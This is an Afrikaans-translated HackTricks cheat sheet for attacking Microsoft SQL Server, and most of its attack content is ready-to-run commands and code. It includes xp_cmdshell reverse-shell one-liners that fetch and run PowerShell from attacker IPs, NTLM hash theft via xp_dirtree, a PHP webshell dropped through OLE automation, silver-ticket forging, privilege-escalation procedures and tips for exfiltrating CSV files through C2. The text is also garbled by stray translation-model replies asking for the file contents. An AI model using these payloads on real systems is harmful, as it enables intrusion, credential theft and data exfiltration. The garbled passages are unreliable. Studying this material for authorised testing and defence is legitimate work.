1433 - Pentesting MSSQL - Microsoft SQL Server

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Basiese Inligting

From wikipedia:

Microsoft SQL Server is ’n relationele databasisbestuurstelsel ontwikkel deur Microsoft. As ’n databasisbediener is dit ’n sagtewareproduk met die primêre funksie om data te stoor en op te haal soos versoek deur ander sagtewaretoepassings — wat óf op dieselfde rekenaar óf op ’n ander rekenaar oor ’n netwerk (insluitend die Internet) kan werk.

Standaardpoort: 1433

1433/tcp open  ms-sql-s      Microsoft SQL Server 2017 14.00.1000.00; RTM

Toegang tot ’n Bestuurde Database-as-a-Service (DBaaS)

Alles wat afhanklik is van “owning the host” (bv., privilege escalation, lateral movement, and OS command execution) bestaan nie meer in DBaaS nie. Pentesting in hierdie omgewings moet skuif na application-layer exploitation, data exfiltration via SQL logic, misconfigured IAM roles, of swak netwerk/VPC-ontwerp. Byvoorbeeld, die Amazon RDS documentation stel eksplisiet dat xp_cmdshell en die TRUSTWORTHY database property nie ondersteun word nie.

Warning

Jy kry ’n database endpoint, nie ’n server nie. Die cloud provider bestuur die host OS, die database engine binaries, en baie sekuriteitsbeleide.

Standaard MS-SQL Stelsel-tabelle

  • master Database: Hierdie database is kritiek aangesien dit alle stelselvlak-besonderhede vir ’n SQL Server-instansie vasvang.
  • msdb Database: SQL Server Agent gebruik hierdie database om skedulering van alerts en jobs te bestuur.
  • model Database: Dien as ’n bloudruk vir elke nuwe database op die SQL Server-instansie; enige wysigings soos size, collation, recovery model, ens., word in nuut geskepte databases weerspieël.
  • Resource Database: ’n Read-only database wat stelselobjekte bevat wat met SQL Server saamkom. Hierdie objekte word fisies in die Resource database gestoor, maar logies in die sys schema van elke database aangebied.
  • tempdb Database: Dien as tydelike stoorkamer vir voorlopige objekte of tussentydse resultaatstelle.

Enumerasie

Outomatiese Enumerasie

If you don’t know anything about the service:

nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>
msf> use auxiliary/scanner/mssql/mssql_ping

Tip

As jy nie credentials het nie, kan jy probeer om dit te raai. Jy kan nmap of metasploit gebruik. Wees versigtig, jy kan block accounts as jy verskeie kere met ’n bestaande username probeer login en misluk.

Metasploit (benodig creds)

#Set USERNAME, RHOSTS and PASSWORD
#Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used

#Steal NTLM
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer #Steal NTLM hash, before executing run Responder

#Info gathering
msf> use admin/mssql/mssql_enum #Security checks
msf> use admin/mssql/mssql_enum_domain_accounts
msf> use admin/mssql/mssql_enum_sql_logins
msf> use auxiliary/admin/mssql/mssql_findandsampledata
msf> use auxiliary/scanner/mssql/mssql_hashdump
msf> use auxiliary/scanner/mssql/mssql_schemadump

#Search for insteresting data
msf> use auxiliary/admin/mssql/mssql_findandsampledata
msf> use auxiliary/admin/mssql/mssql_idf

#Privesc
msf> use exploit/windows/mssql/mssql_linkcrawler
msf> use admin/mssql/mssql_escalate_execute_as #If the user has IMPERSONATION privilege, this will try to escalate
msf> use admin/mssql/mssql_escalate_dbowner #Escalate from db_owner to sysadmin

#Code execution
msf> use admin/mssql/mssql_exec #Execute commands
msf> use exploit/windows/mssql/mssql_payload #Uploads and execute a payload

#Add new admin user from meterpreter session
msf> use windows/manage/mssql_local_auth_bypass

Brute force

Gebruikerenumerasie via RID Brute Force

Jy kan domeingebruikers deur MSSQL opnoem deur brute-forcing van RIDs (Relative Identifiers). Hierdie tegniek is nuttig wanneer jy geldige aanmeldbewyse het maar beperkte bevoegdhede:

# Using NetExec (nxc) - formerly CrackMapExec
nxc mssql <IP> --local-auth -u <username> -p '<password>' --rid-brute 5000

# Examples:
nxc mssql 10.129.234.50 --local-auth -u sqlguest -p 'zDPBpaF4FywlqIv11vii' --rid-brute 5000
nxc mssql 10.10.10.59 -u sa -p 'P@ssw0rd' --rid-brute 10000

# Without --local-auth for domain accounts
nxc mssql 10.10.10.59 -u DOMAIN\\user -p 'password' --rid-brute 5000

I don’t have the file contents. Please paste the contents of src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md that you want translated to Afrikaans.

[snippet]
MSSQL                    10.129.234.50   1433   DC               1104: REDELEGATE\Christine.Flanders
MSSQL                    10.129.234.50   1433   DC               1105: REDELEGATE\Marie.Curie
MSSQL                    10.129.234.50   1433   DC               1106: REDELEGATE\Helen.Frost
MSSQL                    10.129.234.50   1433   DC               1107: REDELEGATE\Michael.Pontiac
MSSQL                    10.129.234.50   1433   DC               1108: REDELEGATE\Mallory.Roberts
MSSQL                    10.129.234.50   1433   DC               1109: REDELEGATE\James.Dinkleberg
[snippet]

Parameters:

  • --local-auth: Gebruik plaaslike verifikasie in plaas van die domein
  • --rid-brute <max_rid>: Brute force RIDs tot by die gespesifiseerde nommer (standaard: 4000)
  • -u: Gebruikersnaam
  • -p: Wagwoord

Hierdie tegniek sal gebruikers opnoem deur die MSSQL server te bevraagteken vir rekeninginligting geassosieer met opeenvolgende RIDs.

Handmatige Enumerasie

Aanmelding

MSSQLPwner

# Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt

# Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt

# Bruteforce using tickets against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt

# Bruteforce using passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt

# Bruteforce using hashes against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt

# Using Impacket mssqlclient.py
mssqlclient.py [-db volume] <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>
## Recommended -windows-auth when you are going to use a domain. Use as domain the netBIOS name of the machine
mssqlclient.py [-db volume] -windows-auth <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>

# Using sqsh
sqsh -S <IP> -U <Username> -P <Password> -D <Database>
## In case Windows Auth using "." as domain name for local user
sqsh -S <IP> -U .\\<Username> -P <Password> -D <Database>
## In sqsh you need to use GO after writting the query to send it
1> select 1;
2> go

Algemene Enumeration

# Get version
select @@version;
# Get user
select user_name();
# Get databases
SELECT name FROM master.dbo.sysdatabases;
# Use database
USE master

#Get table names
SELECT * FROM <databaseName>.INFORMATION_SCHEMA.TABLES;
#List Linked Servers
EXEC sp_linkedservers
SELECT * FROM sys.servers;
#List users
select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in ('G', 'R') order by sp.name;
#Create user with sysadmin privs
CREATE LOGIN hacker WITH PASSWORD = 'P@ssword123!'
EXEC sp_addsrvrolemember 'hacker', 'sysadmin'

#Enumerate links
enum_links
#Use a link
use_link [NAME]

Kry gebruiker

Types of MSSQL Users

# Get all the users and roles
select * from sys.database_principals;
## This query filters a bit the results
select name,
create_date,
modify_date,
type_desc as type,
authentication_type_desc as authentication_type,
sid
from sys.database_principals
where type not in ('A', 'R')
order by name;

## Both of these select all the users of the current database (not the server).
## Interesting when you cannot acces the table sys.database_principals
EXEC sp_helpuser
SELECT * FROM sysusers

Kry Toestemmings

  1. Beveiligbare hulpbron: Gedefinieer as die hulpbronne wat deur SQL Server bestuur word vir toegangskontrole. Hierdie word gekategoriseer in:
  • Server – Voorbeelde sluit in databases, logins, endpoints, availability groups, en server roles.
  • Database – Voorbeelde sluit in database role, application roles, schema, certificates, full text catalogs, en users.
  • Schema – Sluit in tables, views, procedures, functions, synonyms, ens.
  1. Toestemming: Geassosieer met SQL Server beveiligbare hulpbronne; toestemmings soos ALTER, CONTROL, en CREATE kan aan ’n prinsipaal toegeken word. Bestuur van toestemmings geskied op twee vlakke:
  • Servervlak met logins
  • Databasisvlak met users
  1. Prinsipaal: Hierdie term verwys na die entiteit wat toestemming op ’n beveiligbare hulpbron ontvang. Prinsipale sluit hoofsaaklik logins en databasisgebruikers in. Die beheer oor toegang tot beveiligbare hulpbronne word uitgeoefen deur toestemmings toe te ken of te weier, of deur logins en gebruikers in rolle met toegangsregte op te neem.
# Show all different securables names
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
# Show all possible permissions in MSSQL
SELECT * FROM sys.fn_builtin_permissions(DEFAULT);
# Get all my permissions over securable type SERVER
SELECT * FROM fn_my_permissions(NULL, 'SERVER');
# Get all my permissions over a database
USE <database>
SELECT * FROM fn_my_permissions(NULL, 'DATABASE');
# Get members of the role "sysadmin"
Use master
EXEC sp_helpsrvrolemember 'sysadmin';
# Get if the current user is sysadmin
SELECT IS_SRVROLEMEMBER('sysadmin');
# Get users that can run xp_cmdshell
Use master
EXEC sp_helprotect 'xp_cmdshell'

Truuks

Voer OS-opdragte uit

Caution

Let daarop dat om opdragte te kan uitvoer is dit nie net nodig dat xp_cmdshell enabled is nie, maar ook dat jy die EXECUTE permission on the xp_cmdshell stored procedure het. Jy kan sien wie (behalwe sysadmins) xp_cmdshell kan gebruik met:

Use master
EXEC sp_helprotect 'xp_cmdshell'

# Username + Password + CMD command
crackmapexec mssql -d <Domain name> -u <username> -p <password> -x "whoami"
# Username + Hash + PS command
crackmapexec mssql -d <Domain name> -u <username> -H <HASH> -X '$PSVersionTable'

# Check if xp_cmdshell is enabled
SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell';

# This turns on advanced options and is needed to configure xp_cmdshell
sp_configure 'show advanced options', '1'
RECONFIGURE
#This enables xp_cmdshell
sp_configure 'xp_cmdshell', '1'
RECONFIGURE

#One liner
EXEC sp_configure 'Show Advanced Options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

# Quickly check what the service account is via xp_cmdshell
EXEC master..xp_cmdshell 'whoami'
# Get Rev shell
EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.13:8000/rev.ps1") | powershell -noprofile'

# Bypass blackisted "EXEC xp_cmdshell"
'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net' —

MSSQLPwner

# Executing custom assembly on the current server with windows authentication and executing hostname command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth custom-asm hostname

# Executing custom assembly on the current server with windows authentication and executing hostname command on the SRV01 linked server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 custom-asm hostname

# Executing the hostname command using stored procedures on the linked SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec hostname

# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate

WMI-gebaseerde afgeleë SQL-versameling (sqlcmd + CSV export)

Operateurs kan vanaf ’n IIS/app-laag na SQL Servers pivot deur WMI te gebruik om ’n klein batch uit te voer wat by MSSQL autentiseer en ad-hoc queries uitvoer en resultate na CSV exporteer. Dit hou die versameling eenvoudig en laat dit saamsmelt met admin-aktiwiteite.

Voorbeeld mssq.bat

@echo off
rem Usage: mssq.bat <server> <user> <pass> <"SQL"> <out.csv>
set S=%1
set U=%2
set P=%3
set Q=%4
set O=%5
rem Remove headers, trim trailing spaces, CSV separator = comma
sqlcmd -S %S% -U %U% -P %P% -Q "SET NOCOUNT ON; %Q%" -W -h -1 -s "," -o "%O%"

Voer dit op afstand uit met WMI

wmic /node:SQLHOST /user:DOMAIN\user /password:Passw0rd! process call create "cmd.exe /c C:\\Windows\\Temp\\mssq.bat 10.0.0.5 sa P@ssw0rd \"SELECT TOP(100) name FROM sys.tables\" C:\\Windows\\Temp\\out.csv"

PowerShell-alternatief

$cmd = 'cmd.exe /c C:\\Windows\\Temp\\mssq.bat 10.0.0.5 sa P@ssw0rd "SELECT name FROM sys.databases" C:\\Windows\\Temp\\dbs.csv'
Invoke-WmiMethod -ComputerName SQLHOST -Class Win32_Process -Name Create -ArgumentList $cmd

Aantekeninge

  • sqlcmd mag ontbreek; val terug op osql, PowerShell Invoke-Sqlcmd, of ’n eenreël wat System.Data.SqlClient gebruik.
  • Gebruik aanhalingstekens versigtig; lange/kompliseerde navrae is makliker om via ’n lêer of ’n Base64‑geënkodeerde argument wat binne die batch/PowerShell-stub gedekodeer word, te verskaf.
  • Exfil the CSV via SMB (bv. kopieer vanaf \SQLHOST\C$\Windows\Temp) of komprimeer en skuif dit deur jou C2.

Kry gehashte wagwoorde

SELECT * FROM master.sys.syslogins;

Steal NetNTLM hash / Relay attack

Jy moet ’n SMB server begin om die hash wat in die authentication gebruik word te vang (impacket-smbserver of responder byvoorbeeld).

xp_dirtree '\\<attacker_IP>\any\thing'
exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'
EXEC master..xp_subdirs '\\<attacker_IP>\anything\'
EXEC master..xp_fileexist '\\<attacker_IP>\anything\'

# Capture hash
sudo responder -I tun0
sudo impacket-smbserver share ./ -smb2support
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer

MSSQLPwner

# Issuing NTLM relay attack on the SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250

# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250

# Issuing NTLM relay attack on the local server with custom command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250

Warning

Jy kan nagaan wie (behalwe stelseladministrateurs) bevoegdhede het om daardie MSSQL-funksies uit te voer met:

Use master;
EXEC sp_helprotect 'xp_dirtree';
EXEC sp_helprotect 'xp_subdirs';
EXEC sp_helprotect 'xp_fileexist';

Deur gereedskap soos responder of Inveigh te gebruik, is dit moontlik om die NetNTLM hash te steel.
Jy kan sien hoe om hierdie gereedskap te gebruik in:

Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

Van NetNTLMv2 capture na MSSQL silver ticket (PAC group injection)

  • Vang die SQL Server-diensrekening se NetNTLMv2 deur xp_dirtree '\\\\<attacker_ip>\\share' met Responder (Hashcat mode 5600 om te kraak).
  • Leid die diens NTLM hash af uit die herwonne wagwoord:
python3 - <<'PY'
import hashlib
print(hashlib.new("md4", "<PASSWORD>".encode("utf-16le")).hexdigest())
PY
  • Kry die domein SID-bytes met SELECT SUSER_SID('DOMAIN\\Domain Users'); (RID = laaste 4 bytes, little endian). Map/brute RIDs met nxc mssql ... --rid-brute om ’n groep te vind wat sysadmin gee (bv. RID 1105).
  • Forge a silver ticket vir die MSSQL SPN met die bevoorregte groep RID ingespuit in die PAC:
ticketer.py -nthash <SERVICE_NTLM> -domain-sid <DOMAIN_SID> -domain <DOMAIN> -spn MSSQLSvc/<fqdn>:1433 -groups <GROUP_RID> <user_to_impersonate>
KRB5CCNAME=<user_to_impersonate>.ccache mssqlclient.py -no-pass -k <fqdn>
  • Skakel xp_cmdshell aan indien nodig; opdragte word uitgevoer as die SQL Server service account selfs wanneer geïmpersonifiseer word via die vervalste ticket.

Read this post om meer inligting te kry oor hoe om hierdie funksie te misbruik:

MSSQL AD Abuse

Skryf Lêers

Om lêers te skryf met MSSQL moet ons Ole Automation Procedures aktiveer, wat admin privileges vereis, en dan ’n paar stored procedures uitvoer om die lêer te skep:

# Enable Ole Automation Procedures
sp_configure 'show advanced options', 1
RECONFIGURE

sp_configure 'Ole Automation Procedures', 1
RECONFIGURE

# Create a File
DECLARE @OLE INT
DECLARE @FileID INT
EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
EXECUTE sp_OADestroy @FileID
EXECUTE sp_OADestroy @OLE

Lees lêer met OPENROWSET

Volgens verstek laat MSSQL lêer lees op enige lêer in die bedryfstelsel waartoe die rekening lees-toegang het toe. Ons kan die volgende SQL-query gebruik:

SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents

Tog vereis die BULK-opsie die ADMINISTER BULK OPERATIONS of die ADMINISTER DATABASE BULK OPERATIONS toestemming.

# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';

Foutgebaseerde vektor vir SQLi:

https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--

RCE/Lees lêers en voer skripte uit (Python and R)

MSSQL kan jou toelaat om skripte in Python en/of R uit te voer.

Hierdie kode sal deur ’n verskillende gebruiker uitgevoer word as dié wat xp_cmdshell gebruik om opdragte uit te voer.

Voorbeeld wat probeer om ‘R’ “Hellow World!” uit te voer — werk nie:

Voorbeeld wat gekonfigureerde python gebruik om verskeie aksies uit te voer:

# Print the user being used (and execute commands)
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))'
#Open and read a file
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
#Multiline
EXECUTE sp_execute_external_script @language = N'Python', @script = N'
import sys
print(sys.version)
'
GO

Lees Register

Microsoft SQL Server bied verskeie uitgebreide stored procedures wat jou toelaat om nie net met die netwerk te kommunikeer nie, maar ook met die lêerstelsel en selfs die Windows Registry:

RegulierInstansie-bewus
sys.xp_regreadsys.xp_instance_regread
sys.xp_regenumvaluessys.xp_instance_regenumvalues
sys.xp_regenumkeyssys.xp_instance_regenumkeys
sys.xp_regwritesys.xp_instance_regwrite
sys.xp_regdeletevaluesys.xp_instance_regdeletevalue
sys.xp_regdeletekeysys.xp_instance_regdeletekey
sys.xp_regaddmultistringsys.xp_instance_regaddmultistring
sys.xp_regremovemultistringsys.xp_instance_regremovemultistring
 
# Example read registry
EXECUTE master.sys.xp_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\Microsoft SQL Server\MSSQL12.SQL2014\SQLServerAgent', 'WorkingDirectory';
# Example write and then read registry
EXECUTE master.sys.xp_instance_regwrite 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue', 'REG_SZ', 'Now you see me!';
EXECUTE master.sys.xp_instance_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue';
# Example to check who can use these functions
Use master;
EXEC sp_helprotect 'xp_regread';
EXEC sp_helprotect 'xp_regwrite';

Vir meer voorbeelde sien die original source.

RCE met MSSQL User Defined Function - SQLHttp

Dit is moontlik om ’n .NET dll binne MSSQL te laai met aangepaste funksies. Dit vereis egter dbo toegang, dus het jy ’n konneksie met die databasis nodig as sa of ’n Administrator-rol.

Following this link om ’n voorbeeld te sien.

RCE met autoadmin_task_agents

Volgens to this post, is dit ook moontlik om ’n afgeleë dll te laai en MSSQL dit te laat uitvoer met iets soos:

update autoadmin_task_agents set task_assembly_name = "class.dll", task_assembly_path="\\remote-server\\ping.dll",className="Class1.Class1";

I don’t see the README.md content. Please paste the file text (or the parts you want translated). I’ll translate it to Afrikaans and preserve all markdown, code, tags, links, paths and hacking terms per your instructions.

using Microsoft.SqlServer.SmartAdmin;
using System;
using System.Diagnostics;

namespace Class1
{
public class Class1 : TaskAgent
{
public Class1()
{

Process process = new Process();
process.StartInfo.FileName = "cmd.exe";
process.StartInfo.Arguments = "/c ping localhost -t";
process.StartInfo.UseShellExecute = false;
process.StartInfo.RedirectStandardOutput = true;
process.Start();
process.WaitForExit();
}

public override void DoWork()
{

}

public override void ExternalJob(string command, LogBaseService jobLogger)
{

}

public override void Start(IServicesFactory services)
{

}

public override void Stop()
{

}


public void Test()
{

}
}
}

Other ways for RCE

Daar is ander metodes om command execution te kry, soos die toevoeging van extended stored procedures, CLR Assemblies, SQL Server Agent Jobs, en external scripts.

MSSQL Privilege Escalation

From db_owner to sysadmin

As ’n gereelde gebruiker die rol db_owner oor die database wat deur ’n admin besit word (soos sa) toegeken kry en daardie database as trustworthy gekonfigureer is, kan daardie gebruiker hierdie voorregte misbruik om te privesc, omdat stored procedures wat daar geskep word as die eienaar (admin) kan execute.

# Get owners of databases
SELECT suser_sname(owner_sid) FROM sys.databases

# Find trustworthy databases
SELECT a.name,b.is_trustworthy_on
FROM master..sysdatabases as a
INNER JOIN sys.databases as b
ON a.name=b.name;

# Get roles over the selected database (look for your username as db_owner)
USE <trustworthy_db>
SELECT rp.name as database_role, mp.name as database_user
from sys.database_role_members drm
join sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)

# If you found you are db_owner of a trustworthy database, you can privesc:
--1. Create a stored procedure to add your user to sysadmin role
USE <trustworthy_db>

CREATE PROCEDURE sp_elevate_me
WITH EXECUTE AS OWNER
AS
EXEC sp_addsrvrolemember 'USERNAME','sysadmin'

--2. Execute stored procedure to get sysadmin role
USE <trustworthy_db>
EXEC sp_elevate_me

--3. Verify your user is a sysadmin
SELECT is_srvrolemember('sysadmin')

Jy kan ’n metasploit module gebruik:

msf> use auxiliary/admin/mssql/mssql_escalate_dbowner

Of ’n PS-skrip:

# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1
Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1
Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184

Impersonasie van ander gebruikers

SQL Server het ’n spesiale toestemming, genaamd IMPERSONATE, wat toelaat dat die uitvoerende gebruiker die toestemmings van ’n ander gebruiker kan oorneem of login totdat die konteks teruggestel word of die sessie eindig.

# Find users you can impersonate
SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'
# Check if the user "sa" or any other high privileged user is mentioned

# Impersonate sa user
EXECUTE AS LOGIN = 'sa'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')

# If you can't find any users, make sure to check for links
enum_links
# If there is a link of interest, re-run the above steps on each link
use_link [NAME]

Tip

As jy as ’n user kan voorgee, selfs al is hy nie sysadmin nie, moet jy nagaan of die user toegang het tot ander databases of linked servers.

Let wel dat sodra jy sysadmin is, kan jy enige ander user voorgee:

-- Impersonate RegUser
EXECUTE AS LOGIN = 'RegUser'
-- Verify you are now running as the the MyUser4 login
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
-- Change back to sa
REVERT

Jy kan hierdie aanval uitvoer met ’n metasploit-module:

msf> auxiliary/admin/mssql/mssql_escalate_execute_as

of met ’n PS script:

# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword!

Gebruik van MSSQL vir Persistentie

https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/

Uittrekking van wagwoorde uit SQL Server Linked Servers

’n aanvaller kan wagwoorde van SQL Server Linked Servers uit die SQL Instances uithaal en dit in clear text kry, wat die aanvaller wagwoorde gee wat gebruik kan word om ’n groter voet aan die grond op die teiken te kry. Die script om die wagwoorde wat vir die Linked Servers gestoor is te onttrek en te ontsleutel, kan gevind word here

Sekere vereistes en konfigurasies moet gedoen word sodat hierdie exploit kan werk. Eerstens moet jy Administrator-regte op die masjien hê, of die vermoë om die SQL Server-konfigurasies te bestuur.

Na die validering van jou permissies, moet jy drie dinge konfigureer, wat die volgende is:

  1. Skakel TCP/IP op die SQL Server-instances in;
  2. Voeg ’n opstartparameter by; in hierdie geval sal ’n trace flag bygevoeg word, naamlik -T7806.
  3. Skakel remote admin-verbinding in.

Om hierdie konfigurasies te outomatiseer, het this repository die nodige skripte. Afgesien van ’n powershell-skrip vir elke stap van die konfigurasie, het die repository ook ’n volledige skrip wat die konfigurasieskripte en die onttrekking en ontsleuteling van die wagwoorde kombineer.

Vir verdere inligting, verwys na die volgende skakels rakende hierdie aanval: Decrypting MSSQL Database Link Server Passwords

Troubleshooting the SQL Server Dedicated Administrator Connection

Plaaslike Privilege Eskalasie

Die gebruiker wat die MSSQL-server uitvoer, sal die privilege token SeImpersonatePrivilege. geaktiveer hê. Jy sal waarskynlik in staat wees om escalate to Administrator deur een van hierdie 2 bladsye te volg:

RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato

JuicyPotato

Shodan

  • port:1433 !HTTP

Verwysings

HackTricks Outomatiese Opdragte

Protocol_Name: MSSQL    #Protocol Abbreviation if there is one.
Port_Number:  1433     #Comma separated if there is more than one.
Protocol_Description: Microsoft SQL Server         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for MSSQL
Note: |
Microsoft SQL Server is a relational database management system developed by Microsoft. As a database server, it is a software product with the primary function of storing and retrieving data as requested by other software applications—which may run either on the same computer or on another computer across a network (including the Internet).

#sqsh -S 10.10.10.59 -U sa -P GWE3V65#6KFH93@4GWTG2G

###the goal is to get xp_cmdshell working###
1. try and see if it works
xp_cmdshell `whoami`
go

2. try to turn component back on
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell `whoami`
go

3. 'advanced' turn it back on
EXEC SP_CONFIGURE 'show advanced options', 1
reconfigure
go
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell 'whoami'
go




xp_cmdshell "powershell.exe -exec bypass iex(new-object net.webclient).downloadstring('http://10.10.14.60:8000/ye443.ps1')"


https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-mssql-microsoft-sql-server/index.html

Entry_2:
Name: Nmap for SQL
Description: Nmap with SQL Scripts
Command: nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 {IP}

Entry_3:
Name: MSSQL consolesless mfs enumeration
Description: MSSQL enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_enum; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use admin/mssql/mssql_enum_domain_accounts; set RHOSTS {IP}; set RPORT <PORT>; run; exit' &&msfconsole -q -x 'use admin/mssql/mssql_enum_sql_logins; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_dbowner; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_execute_as; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_exec; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_findandsampledata; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_hashdump; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_schemadump; set RHOSTS {IP}; set RPORT <PORT>; run; exit'

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks